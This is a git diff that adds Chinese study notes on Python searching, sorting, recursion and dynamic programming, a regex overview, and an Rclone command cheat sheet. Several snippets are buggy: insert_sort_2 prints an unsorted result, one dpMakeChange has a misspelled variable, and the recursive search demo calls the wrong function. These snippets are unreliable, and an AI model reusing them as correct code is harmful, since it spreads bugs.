|
@ -0,0 +1,252 @@
|
||||||
|
# 原创
|
||||||
|
: Python数据结构(五)——排序和搜索
|
||||||
|
|
||||||
|
# Python数据结构(五)——排序和搜索
|
||||||
|
|
||||||
|
# 排序和搜索
|
||||||
|
|
||||||
|
```
|
||||||
|
15 in [3,3,2,1,4]
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
False
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
3 in [3,4,5,6]
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 顺序查找
|
||||||
|
|
||||||
|
```
|
||||||
|
# 查找列表中的项,假设列表项无序
|
||||||
|
def sequence_search(alist,item):
|
||||||
|
pos = 0
|
||||||
|
found = False
|
||||||
|
while pos<len(alist) and not found:
|
||||||
|
if alist[pos]==item:
|
||||||
|
found = True
|
||||||
|
else:
|
||||||
|
pos += 1
|
||||||
|
return found
|
||||||
|
|
||||||
|
testlist = [1, 2, 32, 8, 17, 19, 42, 13, 0]
|
||||||
|
print(sequence_search(testlist, 3))
|
||||||
|
print(sequence_search(testlist, 13))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
False
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 查找列表中的项,假设列表项有序
|
||||||
|
def order_sequence_search(alist,item):
|
||||||
|
pos = 0
|
||||||
|
found = False
|
||||||
|
stop = False
|
||||||
|
while pos < len(alist) and not found and not stop:
|
||||||
|
if alist[pos] == item:
|
||||||
|
found = True
|
||||||
|
else:
|
||||||
|
if alist[pos]>item:
|
||||||
|
stop = True
|
||||||
|
else:
|
||||||
|
pos += 1
|
||||||
|
return found
|
||||||
|
|
||||||
|
testlist = [0, 1, 2, 8, 13, 17, 19, 32, 42,]
|
||||||
|
print(order_sequence_search(testlist, 3))
|
||||||
|
print(order_sequence_search(testlist, 13))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
False
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 二分法查找
|
||||||
|
|
||||||
|
```
|
||||||
|
def binary_search(alist,item):
|
||||||
|
first = 0
|
||||||
|
last = len(alist)-1
|
||||||
|
found = False
|
||||||
|
|
||||||
|
while first<=last and not found:
|
||||||
|
mid = (first+last)/2
|
||||||
|
if alist[mid]==item:
|
||||||
|
found = True
|
||||||
|
elif alist[mid]>item:
|
||||||
|
last = mid - 1
|
||||||
|
else:
|
||||||
|
first = mid + 1
|
||||||
|
return found
|
||||||
|
|
||||||
|
testlist = [0, 1, 2, 8, 13, 17, 19, 32, 42,]
|
||||||
|
print(binary_search(testlist, 3))
|
||||||
|
print(binary_search(testlist, 13))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
False
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 递归实现
|
||||||
|
def bianary_search(alist,item):
|
||||||
|
if len(alist)==0:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
mid = len(alist)//2
|
||||||
|
if alist[mid]==item:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
if item<alist[mid]:
|
||||||
|
return bianary_search(alist[:mid],item)
|
||||||
|
else:
|
||||||
|
return bianary_search(alist[mid+1:],item)
|
||||||
|
testlist = [0, 1, 2, 8, 13, 17, 19, 32, 42,]
|
||||||
|
print(binary_search(testlist, 3))
|
||||||
|
print(binary_search(testlist, 13))
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
False
|
||||||
|
True
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## Hash查找
|
||||||
|
|
||||||
|
哈希表 是以一种容易找到它们的方式存储的项的集合。哈希表的每个位置,通常称为一个槽,可以容纳一个项,并且由从 0 开始的整数值命名。例如,我们有一个名为 0 的槽,名为 1 的槽,名为 2 的槽,以上。最初,哈希表不包含项,因此每个槽都为空。我们可以通过使用列表来实现一个哈希表,每个元素初始化为None 。Figure 4 展示了大小 m = 11 的哈希表。换句话说,在表中有 m 个槽,命名为 0 到 10。 <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180730133625.png" title=""/>
|
||||||
|
|
||||||
|
具体介绍见:[Hash查找](https://github.com/facert/python-data-structure-cn/tree/master/5.%E6%8E%92%E5%BA%8F%E5%92%8C%E6%90%9C%E7%B4%A2/5.5.Hash%E6%9F%A5%E6%89%BE)
|
||||||
|
|
||||||
|
```
|
||||||
|
def hash(astring, tablesize):
|
||||||
|
sum = 0
|
||||||
|
for pos in range(len(astring)):
|
||||||
|
sum = sum+ord(astring[pos])
|
||||||
|
return sum%tablesize
|
||||||
|
```
|
||||||
|
|
||||||
|
冲突解决: <br/> <img alt="" src="https://raw.githubusercontent.com/ds19991999/githubimg/master/picgo/20180730135953.png" title=""/>
|
||||||
|
|
||||||
|
## 排序
|
||||||
|
|
||||||
|
```
|
||||||
|
# 冒泡排序
|
||||||
|
def bubble_sort_1(alist):
|
||||||
|
for j in range(len(alist)-1,0,-1):
|
||||||
|
for i in range(j):
|
||||||
|
if alist[i]>alist[i+1]:
|
||||||
|
alist[i],alist[i+1]=alist[i+1],alist[i]
|
||||||
|
return alist
|
||||||
|
alist = [54,26,93,17,77,31,44,55,20]
|
||||||
|
print bubble_sort_1(alist)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[17, 20, 26, 31, 44, 54, 55, 77, 93]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 优化冒泡排序,识别有序序列,修改冒泡排序提前停止
|
||||||
|
def bubble_sort_2(alist):
|
||||||
|
exchange = True
|
||||||
|
j = len(alist)-1
|
||||||
|
while j>0 and exchange:
|
||||||
|
exchange = False
|
||||||
|
for i in range(j):
|
||||||
|
if alist[i] > alist[i+1]:
|
||||||
|
alist[i],alist[i+1]=alist[i+1],alist[i]
|
||||||
|
exchange = True
|
||||||
|
j -= 1
|
||||||
|
return alist
|
||||||
|
|
||||||
|
alist=[30,20,40,90,50,60,70,80,100,110]
|
||||||
|
print bubble_sort_2(alist)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[20, 30, 40, 50, 60, 70, 80, 90, 100, 110]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 简单选择排序
|
||||||
|
def select_sort(alist):
|
||||||
|
for i in range(len(alist)):
|
||||||
|
k = i
|
||||||
|
for j in range(k,len(alist)):
|
||||||
|
if alist[k]>alist[j]:
|
||||||
|
k = j
|
||||||
|
alist[i],alist[k]=alist[k],alist[i]
|
||||||
|
return alist
|
||||||
|
alist = [54,26,93,17,77,31,44,55,20]
|
||||||
|
print select_sort(alist)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[17, 20, 26, 31, 44, 54, 55, 77, 93]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 插入排序
|
||||||
|
def insert_sort(alist):
|
||||||
|
for i in range(0,len(alist)):
|
||||||
|
for j in range(i+1,len(alist)):
|
||||||
|
if alist[i]>alist[j]:
|
||||||
|
tmp = alist[j]
|
||||||
|
alist.pop(j)
|
||||||
|
alist.insert(i,tmp)
|
||||||
|
return alist
|
||||||
|
alist = [54,26,93,17,77,31,44,55,20]
|
||||||
|
print insert_sort(alist)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[17, 20, 26, 31, 44, 54, 55, 77, 93]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 插入排序2
|
||||||
|
def insert_sort_2(A):
|
||||||
|
length = len(A)
|
||||||
|
if length < 2:
|
||||||
|
return A
|
||||||
|
|
||||||
|
for i in range(1,length-1):
|
||||||
|
key = A[i]
|
||||||
|
j = i-1
|
||||||
|
while j>=0 and A[j]>key:
|
||||||
|
A[j+1]=A[j]
|
||||||
|
j -= 1
|
||||||
|
A[j+1] = key
|
||||||
|
return A
|
||||||
|
alist = [54,26,93,17,77,31,44,55,20]
|
||||||
|
print insert_sort_2(alist)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
[17, 26, 31, 44, 54, 55, 77, 93, 20]
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
更多排序算法见博客:[Python排序算法](https://blog.csdn.net/ds19991999/article/details/79998011)
|
|
@ -0,0 +1,343 @@
|
||||||
|
# 原创
|
||||||
|
: Python数据结构(四)——递归
|
||||||
|
|
||||||
|
# Python数据结构(四)——递归
|
||||||
|
|
||||||
|
# 递归
|
||||||
|
|
||||||
|
递归是一种解决问题的方法,将问题分解为更小的子问题,直到得到一个足够小的问题可以被很简单的解决。通常递归涉及函数调用自身。递归允许我们编写优雅的解决方案,解决可能很难编程的问题。
|
||||||
|
|
||||||
|
## 计算整数列表和
|
||||||
|
|
||||||
|
```
|
||||||
|
# version1
|
||||||
|
def list_sum(num_list):
|
||||||
|
num_sum = 0
|
||||||
|
for i in num_list:
|
||||||
|
num_sum += i
|
||||||
|
return num_sum
|
||||||
|
print list_sum([1,3,5,7,9])
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
25
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# version2:不使用循环
|
||||||
|
def list_num2(num_list):
|
||||||
|
if len(num_list)==1:
|
||||||
|
return num_list[0]
|
||||||
|
else:
|
||||||
|
return num_list[0]+list_num2(num_list[1:])
|
||||||
|
print list_num2([1,3,5,7,9])
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
25
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 递归三定律
|
||||||
|
|
||||||
|
## 整数转任意进制字符
|
||||||
|
|
||||||
|
```
|
||||||
|
def to_str(n,base):
|
||||||
|
conver_string = "0123456789ABCDEF"
|
||||||
|
if n < base:
|
||||||
|
return conver_string[n]
|
||||||
|
else:
|
||||||
|
return str(to_str(n//base,base))+conver_string[n%base]
|
||||||
|
print to_str(1453,16)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
5AD
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 栈帧:实现递归
|
||||||
|
|
||||||
|
```
|
||||||
|
from pythonds.basic.stack import Stack
|
||||||
|
rStack = Stack()
|
||||||
|
|
||||||
|
def to_str(n,base):
|
||||||
|
conver_string = "0123456789ABCDEF"
|
||||||
|
while n>0:
|
||||||
|
if n<base:
|
||||||
|
rStack.push(conver_string[n])
|
||||||
|
else:
|
||||||
|
rStack.push(conver_string[n%base])
|
||||||
|
n //= base
|
||||||
|
res = ""
|
||||||
|
while not rStack.isEmpty():
|
||||||
|
res += str(rStack.pop())
|
||||||
|
return res
|
||||||
|
|
||||||
|
print to_str(1453,16)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
5AD
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 可视化递归
|
||||||
|
|
||||||
|
```
|
||||||
|
# turtle 是 Python 所有版本的标准库,插图的工具
|
||||||
|
import turtle
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
myTurtle = turtle.Turtle()
|
||||||
|
myWin = turtle.Screen()
|
||||||
|
|
||||||
|
def drawSpiral(myTurtle,linelen):
|
||||||
|
if linelen > 0:
|
||||||
|
# 直走
|
||||||
|
myTurtle.forward(linelen)
|
||||||
|
# 右拐
|
||||||
|
myTurtle.right(90)
|
||||||
|
# 递归
|
||||||
|
drawSpiral(myTurtle,linelen)
|
||||||
|
drawSpiral(myTurtle,100)
|
||||||
|
# 调用函数 myWin.exitonclick(),这是一个方便的缩小窗口的方法,
|
||||||
|
# 使乌龟进入等待模式,直到你单击窗口,然后程序清理并退出。
|
||||||
|
myWin.exitonclick()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 绘制分型树
|
||||||
|
import turtle
|
||||||
|
def tree(branchlen,t):
|
||||||
|
if branchlen > 5:
|
||||||
|
t.forward(branchlen)
|
||||||
|
t.right(20)
|
||||||
|
tree(branchlen-15,t)
|
||||||
|
t.left(40)
|
||||||
|
tree(branchlen-10,t)
|
||||||
|
t.right(20)
|
||||||
|
t.backward(branchlen)
|
||||||
|
def main():
|
||||||
|
t = turtle.Turtle()
|
||||||
|
myWin = turtle.Screen()
|
||||||
|
t.left(90)
|
||||||
|
t.up()
|
||||||
|
t.backward(100)
|
||||||
|
t.down()
|
||||||
|
t.color("green")
|
||||||
|
tree(75,t)
|
||||||
|
myWin.exitonclick()
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
## 谢尔宾斯基三角形
|
||||||
|
|
||||||
|
```
|
||||||
|
import turtle
|
||||||
|
|
||||||
|
def drawTriangle(points,color,myTurtle):
|
||||||
|
myTurtle.fillcolor(color)
|
||||||
|
myTurtle.up()
|
||||||
|
myTurtle.goto(points[0][0],points[0][1])
|
||||||
|
myTurtle.down()
|
||||||
|
myTurtle.begin_fill()
|
||||||
|
myTurtle.goto(points[1][0],points[1][1])
|
||||||
|
myTurtle.goto(points[2][0],points[2][1])
|
||||||
|
myTurtle.goto(points[0][0],points[0][1])
|
||||||
|
myTurtle.end_fill()
|
||||||
|
|
||||||
|
def getMid(p1,p2):
|
||||||
|
return ( (p1[0]+p2[0]) / 2, (p1[1] + p2[1]) / 2)
|
||||||
|
|
||||||
|
def sierpinski(points,degree,myTurtle):
|
||||||
|
colormap = ['blue','red','green','white','yellow',
|
||||||
|
'violet','orange']
|
||||||
|
drawTriangle(points,colormap[degree],myTurtle)
|
||||||
|
if degree > 0:
|
||||||
|
sierpinski([points[0],
|
||||||
|
getMid(points[0], points[1]),
|
||||||
|
getMid(points[0], points[2])],
|
||||||
|
degree-1, myTurtle)
|
||||||
|
sierpinski([points[1],
|
||||||
|
getMid(points[0], points[1]),
|
||||||
|
getMid(points[1], points[2])],
|
||||||
|
degree-1, myTurtle)
|
||||||
|
sierpinski([points[2],
|
||||||
|
getMid(points[2], points[1]),
|
||||||
|
getMid(points[0], points[2])],
|
||||||
|
degree-1, myTurtle)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
myTurtle = turtle.Turtle()
|
||||||
|
myWin = turtle.Screen()
|
||||||
|
myPoints = [[-100,-50],[0,100],[100,-50]]
|
||||||
|
sierpinski(myPoints,3,myTurtle)
|
||||||
|
myWin.exitonclick()
|
||||||
|
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
## 汉诺塔游戏
|
||||||
|
|
||||||
|
有一个印度教寺庙,将谜题交给年轻的牧师。在开始的时候,牧师们被给予三根杆和一堆 64 个金碟,每个盘比它下面一个小一点。他们的任务是将所有 64 个盘子从三个杆中一个转移到另一个。有两个重要的约束,它们一次只能移动一个盘子,并且它们不能在较小的盘子顶部上放置更大的盘子。牧师日夜不停每秒钟移动一块盘子。当他们完成工作时,传说,寺庙会变成灰尘,世界将消失。
|
||||||
|
|
||||||
|
虽然传说是有趣的,你不必担心世界不久的将来会消失。移动 64 个盘子的塔所需的步骤数是 2^64 -1 = 18,446,744,073,709,551,615264-1 = 18,446,744,073,709,551,615。以每秒一次的速度,即584,942,417,355584,942,417,355 年!。
|
||||||
|
|
||||||
|
这里是如何使用中间杆将塔从起始杆移动到目标杆的步骤:
|
||||||
|
|
||||||
|
```
|
||||||
|
# 一开始盘子都在起始杆上
|
||||||
|
# Python 提供了我们需要调用的隐含的栈。
|
||||||
|
def moveTower(height,fromPole, toPole, withPole):
|
||||||
|
if height >= 1:
|
||||||
|
moveTower(height-1,fromPole,withPole,toPole)
|
||||||
|
moveDisk(fromPole,toPole)
|
||||||
|
moveTower(height-1,withPole,toPole,fromPole)
|
||||||
|
def moveDisk(fp,tp):
|
||||||
|
print("moving disk from",fp,"to",tp)
|
||||||
|
moveTower(4,'fromPole', 'toPole', 'withPole')
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
('moving disk from', 'fromPole', 'to', 'withPole')
|
||||||
|
('moving disk from', 'fromPole', 'to', 'toPole')
|
||||||
|
('moving disk from', 'withPole', 'to', 'toPole')
|
||||||
|
('moving disk from', 'fromPole', 'to', 'withPole')
|
||||||
|
('moving disk from', 'toPole', 'to', 'fromPole')
|
||||||
|
('moving disk from', 'toPole', 'to', 'withPole')
|
||||||
|
('moving disk from', 'fromPole', 'to', 'withPole')
|
||||||
|
('moving disk from', 'fromPole', 'to', 'toPole')
|
||||||
|
('moving disk from', 'withPole', 'to', 'toPole')
|
||||||
|
('moving disk from', 'withPole', 'to', 'fromPole')
|
||||||
|
('moving disk from', 'toPole', 'to', 'fromPole')
|
||||||
|
('moving disk from', 'withPole', 'to', 'toPole')
|
||||||
|
('moving disk from', 'fromPole', 'to', 'withPole')
|
||||||
|
('moving disk from', 'fromPole', 'to', 'toPole')
|
||||||
|
('moving disk from', 'withPole', 'to', 'toPole')
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 动态规划
|
||||||
|
|
||||||
|
假设你是一个自动售货机制造商的程序员。你的公司希望通过给每个交易最少硬币来简化工作。假设客户放入 1 美元的钞票并购买 37 美分的商品。你可以用来找零的最小数量的硬币是多少?
|
||||||
|
|
||||||
|
假设你的公司决定在埃尔博尼亚部署自动贩卖机,除了通常的 1,5,10 和 25 分硬币,他们还有一个 21 分硬币 。
|
||||||
|
|
||||||
|
```
|
||||||
|
def recMC(coinValueList,change):
|
||||||
|
minCoins = change
|
||||||
|
if change in coinValueList:
|
||||||
|
return 1
|
||||||
|
else:
|
||||||
|
for i in [c for c in coinValueList if c <= change]:
|
||||||
|
numCoins = 1 + recMC(coinValueList,change-i)
|
||||||
|
if numCoins < minCoins:
|
||||||
|
minCoins = numCoins
|
||||||
|
return minCoins
|
||||||
|
print recMC([1,5,10,25],63)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
6
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这种算法是非常低效的。事实上,它需要 67,716,925 个递归调用来找到 4 个硬币的最佳解决 63 美分问题的方案。
|
||||||
|
|
||||||
|
减少我们工作量的关键是记住一些过去的结果,这样我们可以避免重新计算我们已经知道的结果。一个简单的解决方案是将最小数量的硬币的结果存储在表中。
|
||||||
|
|
||||||
|
```
|
||||||
|
def recMC(coinValueList,change,knownResults):
|
||||||
|
minCoins = change
|
||||||
|
if change in coinValueList:
|
||||||
|
knownResults[change] = 1
|
||||||
|
return 1
|
||||||
|
elif knownResults[change] > 0:
|
||||||
|
return knownResults[change]
|
||||||
|
else:
|
||||||
|
for i in [c for c in coinValueList if c <= change]:
|
||||||
|
numCoins = 1 + recMC(coinValueList,change-i,knownResults)
|
||||||
|
if numCoins < minCoins:
|
||||||
|
minCoins = numCoins
|
||||||
|
knownResults[change] = minCoins
|
||||||
|
return minCoins
|
||||||
|
print recMC([1,5,10,25],63,[0]*64)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
6
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
这个修改的算法减少了我们需要为四个硬币递归调用的数量,63美分问题只需 221 次调用!
|
||||||
|
|
||||||
|
使用动态规划算法:
|
||||||
|
|
||||||
|
```
|
||||||
|
def dpMakeChange(coinValueList,change,minCoins):
|
||||||
|
for cents in range(change+1):
|
||||||
|
coinCount = cents
|
||||||
|
for j in [c for c in coinValueList if c<= cents]:
|
||||||
|
if minCoins[cents-j]+1<coinCount:
|
||||||
|
coinCounts = minCoins[cents-j]+1
|
||||||
|
minCoins[cents] = coinCount
|
||||||
|
return minCoins[change]
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
# 跟踪使用的硬币
|
||||||
|
def dpMakeChange(coinValueList,change,minCoins,coinsUsed):
|
||||||
|
for cents in range(change+1):
|
||||||
|
coinCount = cents
|
||||||
|
newCoin = 1
|
||||||
|
for j in [c for c in coinValueList if c <= cents]:
|
||||||
|
if minCoins[cents-j] + 1 < coinCount:
|
||||||
|
coinCount = minCoins[cents-j]+1
|
||||||
|
newCoin = j
|
||||||
|
minCoins[cents] = coinCount
|
||||||
|
coinsUsed[cents] = newCoin
|
||||||
|
return minCoins[change]
|
||||||
|
|
||||||
|
def printCoins(coinsUsed,change):
|
||||||
|
coin = change
|
||||||
|
while coin > 0:
|
||||||
|
thisCoin = coinsUsed[coin]
|
||||||
|
print thisCoin
|
||||||
|
coin = coin - thisCoin
|
||||||
|
|
||||||
|
def main():
|
||||||
|
amnt = 63
|
||||||
|
clist = [1,5,10,21,25]
|
||||||
|
coinsUsed = [0]*(amnt+1)
|
||||||
|
coinCount = [0]*(amnt+1)
|
||||||
|
|
||||||
|
print("Making change for",amnt,"requires")
|
||||||
|
print(dpMakeChange(clist,amnt,coinCount,coinsUsed),"coins")
|
||||||
|
print("They are:")
|
||||||
|
printCoins(coinsUsed,amnt)
|
||||||
|
print("The used list is as follows:")
|
||||||
|
print(coinsUsed)
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
('Making change for', 63, 'requires')
|
||||||
|
(3, 'coins')
|
||||||
|
They are:
|
||||||
|
21
|
||||||
|
21
|
||||||
|
21
|
||||||
|
The used list is as follows:
|
||||||
|
[1, 1, 1, 1, 1, 5, 1, 1, 1, 1, 10, 1, 1, 1, 1, 5, 1, 1, 1, 1, 10, 21, 1, 1, 1, 25, 1, 1, 1, 1, 5, 10, 1, 1, 1, 10, 1, 1, 1, 1, 5, 10, 21, 1, 1, 10, 21, 1, 1, 1, 25, 1, 10, 1, 1, 5, 10, 1, 1, 1, 10, 1, 10, 21]
|
||||||
|
|
||||||
|
```
|
|
@ -0,0 +1,119 @@
|
||||||
|
# 原创
|
||||||
|
: Python正则表达式(一)
|
||||||
|
|
||||||
|
# Python正则表达式(一)
|
||||||
|
|
||||||
|
# 正则表达式
|
||||||
|
|
||||||
|
>
|
||||||
|
参考:[正则表达式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F.md)
|
||||||
|
|
||||||
|
|
||||||
|
## 一、概述
|
||||||
|
|
||||||
|
## 二、匹配单个字符
|
||||||
|
|
||||||
|
```
|
||||||
|
# 正则表达式
|
||||||
|
nam.
|
||||||
|
# 匹配结果
|
||||||
|
My name is DS中的name
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 三、匹配一组字符串
|
||||||
|
|
||||||
|
```
|
||||||
|
abcd
|
||||||
|
abc1
|
||||||
|
abc2
|
||||||
|
# 匹配到了abcd
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 四、使用元字符
|
||||||
|
|
||||||
|
### 匹配空白字符
|
||||||
|
|
||||||
|
<th align="center">元字符</th><th align="center">说明</th>
|
||||||
|
|------
|
||||||
|
<td align="center">[\b]</td><td align="center">回退(删除一个字符)</td>
|
||||||
|
<td align="center">\f</td><td align="center">换页符</td>
|
||||||
|
<td align="center">\n</td><td align="center">换行符</td>
|
||||||
|
<td align="center">\r</td><td align="center">回车符</td>
|
||||||
|
<td align="center">\t</td><td align="center">制表符</td>
|
||||||
|
<td align="center">\v</td><td align="center">垂直制表符</td>
|
||||||
|
|
||||||
|
### 匹配特定的字符类别
|
||||||
|
|
||||||
|
#### 数字元字符
|
||||||
|
|
||||||
|
<th align="center">元字符</th><th align="center">说明</th>
|
||||||
|
|------
|
||||||
|
<td align="center">\d</td><td align="center">数字字符,等价于[0-9]</td>
|
||||||
|
<td align="center">\D</td><td align="center">非数字字符,等价于[^0-9]</td>
|
||||||
|
|
||||||
|
#### 字母数字元字符
|
||||||
|
|
||||||
|
<th align="center">元字符</th><th align="center">说明</th>
|
||||||
|
|------
|
||||||
|
<td align="center">\w</td><td align="center">大小写字母,下划线和数字,等价于[a-zA-Z0-9]</td>
|
||||||
|
<td align="center">\W</td><td align="center">对\w取非</td>
|
||||||
|
|
||||||
|
#### 空白字符元字符
|
||||||
|
|
||||||
|
<th align="center">元字符</th><th align="center">说明</th>
|
||||||
|
|------
|
||||||
|
<td align="center">\s</td><td align="center">任何一个空白字符,等价于[\f\n\r\t\v]</td>
|
||||||
|
<td align="center">\S</td><td align="center">对\s取非</td>
|
||||||
|
|
||||||
|
## 五、重复匹配
|
||||||
|
|
||||||
|
```
|
||||||
|
[\w.]+@\w+\.\w+
|
||||||
|
[\w.]+@[\w]+[\.][\w]+
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 六、位置匹配
|
||||||
|
|
||||||
|
### 单词边界
|
||||||
|
|
||||||
|
### 字符串边界
|
||||||
|
|
||||||
|
## 七、使用子表达式
|
||||||
|
|
||||||
|
```
|
||||||
|
192.168.0.1
|
||||||
|
00.00.00.00
|
||||||
|
555.555.555.555
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
匹配到了第一个
|
||||||
|
|
||||||
|
## 八、回溯引用
|
||||||
|
|
||||||
|
```
|
||||||
|
<h1>x</h1>
|
||||||
|
<h2>x</h2>
|
||||||
|
<h3>x</h1>
|
||||||
|
匹配到了前面两个
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
<th align="center">元字符</th><th align="center">说明</th>
|
||||||
|
|------
|
||||||
|
<td align="center">\l</td><td align="center">把下个字符转换成小写</td>
|
||||||
|
<td align="center">\u</td><td align="center">把下个字符转换成大写</td>
|
||||||
|
<td align="center">\L</td><td align="center">把\L和\E之间的字符全部转换成小写</td>
|
||||||
|
<td align="center">\U</td><td align="center">把\U和\E之间的字符全部转换成大写</td>
|
||||||
|
<td align="center">\E</td><td align="center">结束\L或者\U</td>
|
||||||
|
|
||||||
|
## 九、前后查找
|
||||||
|
|
||||||
|
## 十、嵌入条件
|
||||||
|
|
||||||
|
### 回溯引用条件
|
||||||
|
|
||||||
|
### 前后查找条件
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,184 @@
|
||||||
|
# 原创
|
||||||
|
: Rclone笔记
|
||||||
|
|
||||||
|
# Rclone笔记
|
||||||
|
|
||||||
|
>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### 目录
|
||||||
|
|
||||||
|
## 一些简单命令
|
||||||
|
|
||||||
|
### 挂载
|
||||||
|
|
||||||
|
```
|
||||||
|
# windows 挂载命令
|
||||||
|
rclone mount OD:/ H: --cache-dir E:\ODPATH --vfs-cache-mode writes &
|
||||||
|
# linux 挂载命令
|
||||||
|
nohup rclone mount GD:/ /root/GDPATH --copy-links --no-gzip-encoding --no-check-certificate --allow-other --allow-non-empty --umask 000 &
|
||||||
|
# 取消挂载————linux 通用
|
||||||
|
fusermount -qzu /root/GDPATH 或者
|
||||||
|
fusermount -u /path/to/local/mount
|
||||||
|
# windows 取消挂载
|
||||||
|
umount /path/to/local/mount
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### rclone命令
|
||||||
|
|
||||||
|
```
|
||||||
|
rclone ls
|
||||||
|
|
||||||
|
eg____rclone ls remote:path [flags]
|
||||||
|
ls # 递归列出 remote 所有文件及其大小,有点类似 tree 命令
|
||||||
|
lsl # 递归列出 remote 所有文件、大小及修改时间
|
||||||
|
lsd # 仅仅列出文件夹的修改时间和文件夹内的文件个数
|
||||||
|
|
||||||
|
lsf # 列出当前层级的文件或文件夹名称
|
||||||
|
lsjson # 以JSON格式列出文件和目录
|
||||||
|
|
||||||
|
|
||||||
|
rclone copy
|
||||||
|
|
||||||
|
eg____rclone copy OD:/SOME/PATH GD:/OTHER/PATH
|
||||||
|
--no-traverse # /path/to/src中有很多文件,但每天只有少数文件发生变化,加上这个参数可以提高传输速度
|
||||||
|
-P # 实时查看传输统计信息
|
||||||
|
--max-age 24h # 仅仅传输24小时内修改过的文件,默认关闭
|
||||||
|
rclone copy --max-age 24h --no-traverse /path/to/src remote:/PATH -P
|
||||||
|
|
||||||
|
rclone sync
|
||||||
|
eg____rclone sync source:path dest:path [flags]
|
||||||
|
# 使用该命令时先用 --dry-run 测试,明确要复制和删除的内容
|
||||||
|
|
||||||
|
rclone delete
|
||||||
|
# 列出大于 100M 的文件
|
||||||
|
rclone --min-size 100M lsl remote:path
|
||||||
|
# 删除测试
|
||||||
|
rclone --dry-run --min-size 100M delete remote:path
|
||||||
|
# 删除
|
||||||
|
rclone --min-size 100M delete remote:path
|
||||||
|
|
||||||
|
# 删除路径及其所有内容,filters此时无效,这与 delete 不同
|
||||||
|
rclone purge
|
||||||
|
|
||||||
|
# 删除空路径
|
||||||
|
rclone rmdir
|
||||||
|
|
||||||
|
# 删除路径下的空目录
|
||||||
|
rclone rmdirs
|
||||||
|
|
||||||
|
# 移动文件
|
||||||
|
rclone move
|
||||||
|
# 移动后删除空源目录
|
||||||
|
--delete-empty-src-dirs
|
||||||
|
|
||||||
|
# 检查源和目标匹配中的文件
|
||||||
|
rclone check
|
||||||
|
# 从两个源下载数据并在运行中互相检查它们而不是哈希检测
|
||||||
|
--download
|
||||||
|
|
||||||
|
rclone md5sum
|
||||||
|
# 为路径中的所有文件生成md5sum文件
|
||||||
|
rclone sha1sum
|
||||||
|
# 为路径中的所有文件生成sha1sum文件
|
||||||
|
rclone size
|
||||||
|
# 在remote:path中打印该路径下的文件总大小和数量
|
||||||
|
--json # 输出json格式
|
||||||
|
rclone version --check #检查版本更新
|
||||||
|
rclone cleanup # 清理源的垃圾箱或者旧版本文件
|
||||||
|
|
